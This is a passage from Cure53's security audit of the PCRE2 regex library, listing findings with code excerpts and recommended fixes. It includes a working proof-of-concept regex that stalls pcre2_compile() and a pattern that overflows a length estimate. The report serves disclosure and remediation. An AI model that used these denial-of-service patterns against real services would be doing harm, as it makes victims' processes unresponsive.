    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    ")a";
  pcre2_code *code = pcre2_compile(codestr, PCRE2_ZERO_TERMINATED, 0,
&errno, &err_off, NULL);
  printf("pcre2_compile: err=%d, err_off=%lu, code=%p\n", errno,
(unsigned long)err_off, code);
  if (code == NULL) return 1;
  return 0;
}
$ diff test_find_fixedlength_explosion.c
test_find_fixedlength_explosion_2.c
18c18
<     "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
---
>     "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
```

```
$ gcc -o test_find_fixedlength_explosion
test_find_fixedlength_explosion.c -I trunk/src/ -L trunk/.libs/ -std=c99
-lpcre2-8
$ gcc -o test_find_fixedlength_explosion_2
test_find_fixedlength_explosion_2.c -I trunk/src/ -L trunk/.libs/
-std=c99 -lpcre2-8
$ time ./test_find_fixedlength_explosion
pcre2_compile: err=100, err_off=0, code=0x1f1c010

real   0m2.606s
user   0m2.601s
sys    0m0.005s
$ time ./test_find_fixedlength_explosion_2
pcre2_compile: err=100, err_off=0, code=0x1696010

real   0m5.277s
user   0m5.274s
sys    0m0.004s
```

Again it was confirmed with the use of Callgrind[6] that over 99.9% of the runtime was actually spent in *find_fixedlength()*. An attacker with the ability to specify his own regex could easily use these issues to make a victim's process completely unresponsive.

These issues need to be fixed by following one of the recommendations. One idea is to add runtime checks to *pcre_compile()*, similarly to how *MATCH_LIMIT* is being used in *pcre2_match()*. Another option is to use a dynamic programming algorithm, thus caching whether capturing groups can match an empty string and/or verify which lengths they have instead of recalculating the result every time it is needed.

PCRE-01-028 Call to open_dev_zero() is racy *(Low)*

Admittedly it is only in the very rare case of ancient operating systems without *MAP_ANON* support), but *sljit_allocate_stack()* nevertheless uses *open_dev_zero()* (to get a file handle for "*/dev/zero".* Next, this is passed to the following call to *mmap()* for memory initialization. There is a check before the call to *open_dev_zero()* in order to avoid overwriting of the filehandle by opening the device multiple times. Unfortunately the check is racy and, therefore, does not prevent overwriting of the filehandle in certain cases.

```
static SLJIT_INLINE sljit_si open_dev_zero(void)
{
    pthread_mutex_lock(&dev_zero_mutex);
    dev_zero = open("/dev/zero", O_RDWR);
    pthread_mutex_unlock(&dev_zero_mutex);
    return dev_zero < 0;
}

[...]
```

[6] http://valgrind.org/docs/manual/cl-manual.html

```
    if (dev_zero < 0) {
        if (open_dev_zero()) {
            SLJIT_FREE(stack, allocator_data);
            return NULL;
            }
    }
```

It is recommended to move the filehandle's overwrite check to *open_dev_zero()* so that the check is being executed inside the mutex protection. This way the race condition is effectively avoided.

```
static SLJIT_INLINE sljit_si open_dev_zero(void)
{
    pthread_mutex_lock(&dev_zero_mutex);
    if (dev_zero < 0) {
        dev_zero = open("/dev/zero", O_RDWR);
    }
    pthread_mutex_unlock(&dev_zero_mutex);
    return dev_zero < 0;
}

[...]

    if (open_dev_zero()) {
        SLJIT_FREE(stack, allocator_data);
        return NULL;
        }
```

It is probably best to notify the author of SLJIT[7] in order to have the issue fixed in the upstream repository, provided that a fix of this issue is at all desired.

[7] http://sljit.sourceforge.net/

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

PCRE-01-001 Outdated Comments in pcre2_compile() *(Info)*

In the source file *pcre2_compile.c*, the comment block above *pcre2_compile()* claims:

```
patlen   the length of the pattern, or < 0 for zero-terminated
```

However *patlen* is of type *size_t* and therefore cannot be <0. Instead, the code recognizes *patlen=PCRE2_ZERO_TERMINATED*, which is documented correctly in the manpage.

In the same file the following two comments disagree about the handling of octal \xxx escapes (note that the second one is correct):

> *Outside a character class, the digits are read as a decimal number. If the number is less than 10, or if there are that many previous extracting left brackets, it is a back reference. Otherwise, up to three octal digits are read to form an escaped character code. Thus \123 is likely to be octal 123 (cf \0123, which is octal 012 followed by the literal 3). If the octal value is greater than 377, the least significant 8 bits are taken.*
>
> */* \0 always starts an octal number, but we may drop through to here with a larger first octal digit. The original code used just to take the least significant 8 bits of octal numbers (I think this is what early Perls used to do). Nowadays we allow for larger numbers in UTF-8 mode and 16-bit mode, but no more than 3 octal digits. */*

PCRE-01-002 Brittle Buffer Overflow Check in scan_for_captures() *(Low)*

The function *scan_for_captures()* in *pcre2_compile.c* uses the stack buffer `cb->start_workspace` with length `COMPILE_WORK_SIZE * sizeof(PCRE2_UCHAR)`. It allocates `nest_save` structures on that stack buffer and uses the specified overflow check:

```
if (++top_nest >= end_nests)
```

Since `end_nests` is `(nest_save *)(cb->start_workspace + cb->workspace_size)`, it follows that whether `(char*)end_nests - (char*)cb->start_workspace` is a multiple of `sizeof(nest_save)` depends on the size of the `nest_save` structure and the value of `COMPILE_WORK_SIZE`. If it is not a multiple of `sizeof(nest_save)`, the check

would not prevent the allocation of a `nest_save` that spans the end of the workspace buffer and some of the stack memory behind it.

Current definition of `nest_save` presented next results in its size of 8 bytes whenever a normal compiler is used (although a compiler would theoretically be permitted to add internal struct padding):

```
typedef struct nest_save {
  uint16_t  nest_depth;
  uint16_t  reset_group;
  uint16_t  max_group;
  uint16_t  flags;
} nest_save;
```

To clarify, `COMPILE_WORK_SIZE` is currently defined as `2048*LINK_SIZE`, which is a multiple of 8, so this is not an exploitable issue at present. It is recommended to either amend the overflow check to catch this or round `end_nests` down, e.g. like this:

```
size_t nest_workspace_size = cb->workspace_size * sizeof(PCRE2_SPTR);
nest_workspace_size = nest_workspace_size - nest_workspace_size %
sizeof(nest_save);
nest_save *end_nests = (nest_save *)((char*)cb->start_workspace +
nest_workspace_size);
```

(Alternatively, `sizeof(nest_save)/sizeof(PCRE2_SPTR)+1` could simply be subtracted from `cb->workspace_size`.)

PCRE-01-004 Lower bound in find_minlength() can be too high *(Low)*

The function _pcre2_study() calls *find_minlength()* to determine a lower bound for the length of subjects that can match the pattern. The function determines the minimum lengths of all possible branches which are stored as signed ints to be able to encode errors as negative values, then returning their minimum. Therefore, if an overflow causes a length estimate to become a big negative value, this negative value will propagate into `_pcre2_study()`, where it is implicitly cast to `uint16_t` through the assignment to `re->minlength`.

When a quantifier is used in a regular expression, the minimal length of the element in front of it is multiplied by the lower limit of the quantifier. Therefore, the calculated lower bound of `A{65000}` is 65000. A simple way to overflow the length estimate would seem to be `(A{65000}){65000}`, but that does not work. The lack of functioning stems from the fact that when this pattern is compiled, PCRE2 attempts to duplicate `A{65000}` 65000 times, effectively causing the compiled pattern size to become too big. However, the length estimation can also handle backreferences, so the following pattern triggers the bug:

```
(A{65000})\1{65000}
```

By attempting to match the string `foobar` against the pattern `foobar|(A{65000})\1{65000}` one can examine the issue. PCRE2 reports that there is no match and estimates the lower length bound for matching subjects as 24616. The compiled pattern size is merely 170.

This is filed as a miscellaneous issue because it would require very unusual circumstances to become a security problem. More specifically an attacker would need partial control over a regular expression while being forbidden from changing the whole expression for security reasons, a design that would be very unusual and brittle.

It is recommended to add checks to *find_minlength()* that limits *branchlength* to around 2^16 after every iteration of the big loop. It should equally limit additions to *branchlength* at the *REPEAT_BACK_REFERENCE* label (before `branchlength += min * d;`).

PCRE-01-006 Configuration of 16/32bit EBCDIC is not prevented *(Info)*

The following code in *compile_branch()* in *prce2_compile.c* is used only on EBCDIC systems:

```
if (range_is_literal &&
      (cb->ctypes[c] & ctype_letter) != 0 &&
      (cb->ctypes[d] & ctype_letter) != 0 &&
      (c <= CHAR_z) == (d <= CHAR_z))
  {
```

At this point it has not been verified whether c and d have values below 256. If PCRE2 with 16-bit or 32-bit code points is used on an EBCDIC system, this can lead to an out-of-bound array read. However, comments in various places in the code make it clear that a configuration with 16-bit and 32-bit code points on EBCDIC is not supported.

Simultaneously, both the configure script and the documentation only treat UTF and EBCDIC as mutually exclusive. There is no mention of the combination of EBCDIC and wide code points, nor traces of `./configure --enable-ebcdic --enable-pcre2-16 --disable-unicode` works. The following `make` invocation fails because there is no `#define` for e.g. `HSPACE_MULTIBYTE_CASES`.

It is recommended to explicitly prevent the configuration of PCRE2 for 16-bit / 32-bit code points on EBCDIC systems in the configure script and in *pcre2_internal.h*.

PCRE-01-007 Inconsistent Error Handling in regerror() *(Low)*

The *regerror()* function, which is part of PCRE2's POSIX API wrapper, takes a signed error code argument as a parameter, checks it against an upper bound and uses it as index for the array *pstring*. Because there is no check of whether the number is positive, providing negative error codes can lead to the disclosure of sensitive memory.

This is a miscellaneous issue due to the fact that it is seemingly very unlikely that this parameter would be exposed to an attacker. It is recommended to add an explicit bounds check for consistency.

PCRE-01-011 Return Value of pcre2_substitute() is ambiguous *(Low)*

In addition to returning the number of occurrences of the pattern in the subject as an *int*, the *pcre2_substitute()* also returns negative values when an error happens. Nonetheless the number of matches can be so big that the integer wraps and the return value of *pcre2_substitute()* indicates one of the following options: a non-existent error type, an incorrect error type, or an incorrect number of occurrences.

It is recommended to note this property in the manpage and consider providing a second function that uses *size_t* as a return value type and either encodes errors as values closely below the maximum value of *size_t,* or returns them through a new parameter.

PCRE-01-014 Dead Code causes use of wrong memctl in pcre2_match() *(Low)*

In *pcre2_match()*, if no match context was supplied by the caller, *default_match_context* is used instead to simplify the code:

```
/* A NULL match context means "use a default context" */

if (mcontext == NULL)
  mcontext = (pcre2_match_context *)(&PRIV(default_match_context));
```

Later there is another *NULL* check for special-case handling:

```
/* Fill in the fields in the match block. */

if (mcontext == NULL)
  {
  mb->callout = NULL;
  mb->memctl = re->memctl;
#ifdef HEAP_MATCH_RECURSE
  mb->stack_memctl = re->memctl;
#endif
  }
else
  {
  mb->callout = mcontext->callout;
  mb->callout_data = mcontext->callout_data;
  mb->memctl = mcontext->memctl;
#ifdef HEAP_MATCH_RECURSE
  mb->stack_memctl = mcontext->stack_memctl;
#endif
  }
```

This condition can never be true because the first snippet always runs prior to it and ensures that *mcontext* is non-*NULL*. Therefore, instead of using the memory management functions from *re->memctl* as intended, *default_malloc()* and *default_free()* are used.

The same pattern also appears in *pcre2_dfa_match()*:

```
/* A NULL match context means "use a default context" */

if (mcontext == NULL)
  mcontext = (pcre2_match_context *)(&PRIV(default_match_context));

[...]

/* Fill in the fields in the match block. */

if (mcontext == NULL)
  {
  mb->callout = NULL;
  mb->memctl = re->memctl;
  }
else
  {
  mb->callout = mcontext->callout;
  mb->callout_data = mcontext->callout_data;
  mb->memctl = mcontext->memctl;
  }
```

This issue could theoretically have security impact if e.g. the library user intends to process sensitive data by employing a custom memory allocator that scrubs memory on *free()* or the default allocator is not thread-safe.

PCRE-01-016 Out-of-bounds Pointer in non-UTF OP_REVERSE Handling *(Low)*

In non-UTF mode *OP_REVERSE* is handled as follows for non-JIT matching:

```
case OP_REVERSE:
#ifdef SUPPORT_UNICODE
    if (utf)
      {
      [...]
      }
    else
#endif

/* No UTF-8 support, or not in UTF-8 mode: count is byte count */

  {
  eptr -= GET(ecode, 1);
  if (eptr < mb->start_subject) RRETURN(MATCH_NOMATCH);
  }
```

Although this may appear similar to PCRE-01-015, there are some differences. For one, the value subtracted from *eptr* can be up to 2^32-1, but, if the resulting *eptr* points behind the end of the subject, it is treated as being out-of-bounds by the code for *OP_EXACT,* for instance, and is therefore not actually dereferenced.

It is recommended to handle this the same way as noted in PCRE-01-015 to prevent the pointer from becoming out-of-bounds.

PCRE-01-019 Hardening: Abort on Memory Safety Error *(Low)*

At present whenever PCRE2 detects an internal error, it returns an error code.

Because an internal error indicates that some sort of input was supplied and caused PCRE2 to behave in an unexpected way, it is recommended to terminate the process as fast as possible when an internal error has been detected. This is particularly valid for compile-time error 23 (indicates that a bug in the length estimation pass caused the length estimate to be too low, yielding a buffer overflow), which can only occur if the library has already performed an out-of-bounds write.

An additional benefit of aborting program execution is that, depending on the system configuration, it can lead to a core dump, making it easier to figure out what went wrong if the error cannot be easily reproduced and pinpointed.

A fast program termination can be reached by reading from a NULL pointer and, if that fails to cause a process termination, additional engagement in calling *abort()* will. (A NULL pointer dereference might be preferable because *abort()* flushes output streams first.)

PCRE-01-020 Missing NULL check in regcomp() *(Low)*

PCRE2's *regcomp()* implementation allocates a *struct pcre2_real_match_data* for later use by *regexec()*, but does not seek to verify that the memory allocation was successful:

```
PCRE2POSIX_EXP_DEFN int PCRE2_CALL_CONVENTION
regcomp(regex_t *preg, const char *pattern, int cflags)
{
[...]
preg->re_match_data = pcre2_match_data_create(re_nsub + 1, NULL);
return 0;
}
```

If memory allocation was not successful, *regexec()* passes the NULL pointer onto *pcre2_match()*:

```
PCRE2POSIX_EXP_DEFN int PCRE2_CALL_CONVENTION
regexec(const regex_t *preg, const char *string, size_t nmatch,
  regmatch_t pmatch[], int eflags)
{
[...]
```

```
pcre2_match_data *md = (pcre2_match_data *)preg->re_match_data;
[...]

rc = pcre2_match((const pcre2_code *)preg->re_pcre2_code,
  (PCRE2_SPTR)string + so, (eo - so), 0, options, md, NULL);

/* Successful match */

if (rc >= 0)
  [...]

/* Unsuccessful match */

if (rc <= PCRE2_ERROR_UTF8_ERR1 && rc >= PCRE2_ERROR_UTF8_ERR21)
  return REG_INVARG;

switch(rc)
  {
[...]
  case PCRE2_ERROR_NULL: return REG_INVARG;
  }
}
```

Although *pcre2_match()* catches the NULL pointer, the *PCRE2_ERROR_NULL* error it returns is propagated up to *regexec()*. In turn, it returns *REG_INVARG* - an error code that does not accurately reflect what has happened. It is recommended to propagate allocation failures to the caller in *regcomp()*.

PCRE-01-021 Unsafe Pointer Subtraction in DFA OP_REVERSE Matching *(Low)*

In non-UTF mode, *internal_dfa_match()* uses the following code to handle OP_REVERSE:

```
gone_back = (current_subject - max_back < start_subject)?
  (int)(current_subject - start_subject) : max_back;
current_subject -= gone_back;
```

Similar to PCRE-01-016, this computes a possibly out-of-bounds pointer before testing it. It further does so without taking into consideration that the subtraction might wrap on real systems. It is otherwise recommended to check for `current_subject - start_subject < max_back` instead.

PCRE-01-022 Empty substitution match before CRLF handled weirdly *(Info)*

Unlike the sample code in *pcre2test.c*, *pcre2_substitute()* skips one character forward after encountering an empty match, even if the following two characters form a newline (CRLF). Consequently, after an empty match at the end of a line, the next match attempt will be performed at the start position between CR and LF. It causes the pattern ^$ to match in multiline mode with *ANYCRLF*. When a regular expression that can match empty strings in front of newlines is used on a subject with CRLF line endings in

ANYCRLF mode, this could lead to data corruption when data is inserted between CR and LF. Let us present an example:

```
$ cat test.c
#include <stdio.h>
#include <string.h>
#define PCRE2_CODE_UNIT_WIDTH 8
#include <pcre2.h>

int main(void) {
  int errno;
  size_t err_off;
  // replace all lines that aren't numbers
  unsigned char *codestr = (unsigned char *)
    "(*ANYCRLF)(?m)^(.*[^0-9\r\n].*|)$";
  pcre2_code *code = pcre2_compile(codestr, PCRE2_ZERO_TERMINATED,
    0, &errno, &err_off, NULL);
  if (code == NULL) return 1;

  unsigned char *input = (unsigned char *)
                  "15\r\nfoo\r\n20\r\nbar\r\nbaz\r\n\r\n20";
  // match 1:        ^      $
  // match 2:                ^      $
  // match 3:                       ^      $
  // match 4:                              ^   $
  // match 5:                                ^ $

  unsigned char *replacement = (unsigned char *)"NaN";

  size_t outbuflen = 2000;
  unsigned char outbuf[outbuflen];

  int matchres = pcre2_substitute(code, input,
    PCRE2_ZERO_TERMINATED, 0, PCRE2_SUBSTITUTE_GLOBAL, NULL,
    NULL, replacement, strlen((char*)replacement), outbuf,
    &outbuflen);
  printf("pcre2_subst(...) = %d\n", matchres);
  if (matchres >= 0) {
    // s/\r/#/g for output
    for (unsigned char *p=outbuf;*p;p++) if (*p=='\r')*p='#';
    puts("===========");
    puts((char*)outbuf);
    puts("===========");
  }
  return 0;
}
$ gcc -o test test.c -I trunk/src/ -L trunk/.libs/ -std=c99 -lpcre2-8
$ ./test
pcre2_subst(...) = 5
===========
15#
NaN#
20#
NaN#
```

```
NaN#
NaN#NaN
20
===========
```

However, looking for a precedent, Perl seems to have the same behavior in a related situation (empty match in front of a unicode newline lookahead):

```
$ cat pcre_01_022.pl
$foo = "foobar\r\n";
$foo =~ s/(?m)(?<=....)(?=\R)/XXX/g;
$foo =~ s/\r/#/g;
print $foo;
$ perl pcre_01_022.pl
foobarXXX#XXX
```

On a side note, please be aware that testing the same regex in Perl does not seem to be possible because Perl does not understand the `(*ANYCRLF)` verb. Going back to the issue at hand, if the current behavior is to be kept, it is recommended to more clearly describe this behavior in the *pcre2pattern* documentation, both near the sentence “The two-character sequence is treated as a single unit that cannot be split”, and in the “CIRCUMFLEX AND DOLLAR” section.

PCRE-01-027 Runtime Complexity Increase through global Substitution *(Low)*

When a global substitution is performed by *pcre2_substitute()*, the match time limit is reset after each internal call to *pcre2_match()*. This could lead the whole replacement operation to require a very large amount of time even though the time for a single match is bounded.

It is recommended to consider adding support for preserving *match_call_count* between internal *pcre2_match()* calls if there are library users that need a time limit for substitution operations.

PCRE-01-029 Potential out-of-bounds array read in regcomp() *(Low)*

An array of error codes is used by *regcomp()* for translating internal *pcre2_compile()* error codes into POSIX *regcomp()* error codes. The process checks if the error code is less than zero to avoid an out-of-lower-bound array access and then subtracts COMPILE_ERROR_BASE from the error code to adjust for the range of POSIX error codes. If the error code returned from the *pcre2_compile()* was less than COMPILE_ERROR_BASE to begin with, this operation results in a negative array index. It eventually leads to the out-of-lower-bound array access that the avoidance of constitutes the goal behind the process in the first place.

```
if (errorcode < 0) return REG_BADPAT;   /* UTF error */
errorcode -= COMPILE_ERROR_BASE;
if (errorcode < (int)(sizeof(eint1)/sizeof(const int)))
     return eint1[errorcode];
```

It is recommended to move the the initial errorcode check to the position right after the COMPILE_ERROR_BASE adjustment, which will mean that that the out-of-lower-bound array access is caught in all cases.

```
errorcode -= COMPILE_ERROR_BASE;
if (errorcode < 0) return REG_BADPAT;   /* UTF error or illegal errorcode */
if (errorcode < (int)(sizeof(eint1)/sizeof(const int)))
     return eint1[errorcode];
```

Conclusion

This source code audit, carried out against the PCRE2 library took 20 days total and yielded 29 vulnerabilities and general weaknesses. One of the vulnerabilities was deemed to be of a critical severity, as it might have allowed an attacker to execute arbitrary code on the affected systems. The following paragraphs are dedicated to some of the broader vulnerability and coding patterns, which eventually might require additional intention during the process of approaching the fixes for the issues listed in this report. All in all, however, it must be underscored in the conclusion that PCRE2 presents itself as robust and fairly secure against rogue input. It is noteworthy that only one critical issue was discovered despite a very thorough manual code audit.

Multiplicity of the discovered issues happen because numbers are stored with types that can be too small. It might make sense to go over the codebase and either change number types to appropriately larger ones or to implement more sanity checks on sizes. Some code, e.g. for parsing integers, is duplicated several times over the codebase, making it easy to forget a check against a particular place (see PCRE-01-012). It might make sense to extract such code into functions or macros. The design with a pre-pass that performs some validation, followed by a second pass that validates some other things but e.g. does not check for the presence of closing parenthesis for some constructs, seems rather brittle. This stems from the fact that an attacker can desynchronize the two parsers, and thus be allowed and able to trick PCRE into violating memory's safety rules in some way or other.

As briefly noted in the Scope section at the beginning of this document, *pcre2grep* was left out of the audit because of the time constraints. Leisurely skimming the source code made us realize though that it most likely would need to be audited if it is ever intended for use in an exposed production environment.

Respectively, all other omitted test and maintenance components are unlikely to be employed in a security-relevant context and will most likely never require a check in realm of the aforementioned aspects. That being said the general complexity and component scope of PCRE2 is quite extensive.

The Cure53 team managed to audit the major parts of the source code but there is still room for improvement when it comes to the depth of the inquiry, particularly with regard to JIT compilation support. For a more complete coverage of the components an even more thorough audit is necessary. It is however believed that the most critical parts of the library have been examined and that an implementation of the suggested fixes will significantly raise the security level of this library. Subsequently, it is thought of as able to help applications that make use of it and facilitate a process of becoming more robust and secure for them.

Cure53 would like to thank Gervase Markham and Chris Riley of Mozilla as well as Chad Hurley of OTF for their excellent project coordination, support and assistance, both before and during this assignment.